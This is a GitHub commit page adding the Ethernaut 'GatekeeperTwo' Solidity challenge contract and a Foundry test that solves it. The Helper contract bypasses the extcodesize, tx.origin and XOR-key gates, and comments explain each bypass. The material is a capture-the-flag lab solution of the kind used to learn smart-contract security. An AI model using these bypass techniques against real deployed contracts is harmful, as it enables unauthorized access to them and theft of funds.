-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
90 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract GatekeeperTwo { | ||
address public entrant; | ||
|
||
modifier gateOne() { | ||
require(msg.sender != tx.origin, 'Gate 1'); | ||
_; | ||
} | ||
|
||
modifier gateTwo() { | ||
uint256 x; | ||
assembly { | ||
x := extcodesize(caller()) | ||
} | ||
require(x == 0, 'Gate 2'); | ||
_; | ||
} | ||
|
||
modifier gateThree(bytes8 _gateKey) { | ||
require( | ||
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ | ||
uint64(_gateKey) == | ||
type(uint64).max, | ||
'Gate 3' | ||
); | ||
_; | ||
} | ||
|
||
function enter( | ||
bytes8 _gateKey | ||
) public gateOne gateTwo gateThree(_gateKey) returns (bool) { | ||
entrant = tx.origin; | ||
return true; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/Ethernaut/GatekeeperTwo.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract Helper { | ||
constructor(address _target) { | ||
// To pass gate 2, simply put all the exploit logic inside the `constructor` function. | ||
// Indeed, a contract does not have source code available during construction. | ||
// This is a very bad way to check that the caller is an EOA. | ||
// Reference: https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/ | ||
|
||
// The gate key should be equal to the negation of `uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))`. | ||
// Since solidity does not support negation, it is possible to use the XOR operation (^) with 0xff (ones). | ||
// Reference: https://medium.com/@imolfar/bitwise-operations-and-bit-manipulation-in-solidity-ethereum-1751f3d2e216 | ||
// This is required for gate 3. | ||
bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ | ||
0xffffffffffffffff; | ||
GatekeeperTwo(_target).enter(gateKey); | ||
} | ||
} | ||
|
||
contract GatekeeperTwoExploit is Test { | ||
GatekeeperTwo target; | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
|
||
function setUp() public { | ||
vm.startPrank(deployer); | ||
target = new GatekeeperTwo(); | ||
console2.log('Target contract deployed'); | ||
vm.stopPrank(); | ||
} | ||
|
||
function testExploit() public { | ||
address entrant = target.entrant(); | ||
console2.log('Current entrant: %s', entrant); | ||
assertEq(entrant, address(0x0)); | ||
|
||
// Set exploiter to be the msg.sender. | ||
// Note that we also pass a second argument to override cast's default tx.origin. | ||
// This is required for gate 1. | ||
vm.startPrank(exploiter, exploiter); | ||
new Helper(address(target)); | ||
vm.stopPrank(); | ||
|
||
entrant = target.entrant(); | ||
console2.log('New entrant: %s', entrant); | ||
assertEq(entrant, address(exploiter)); | ||
} | ||
} |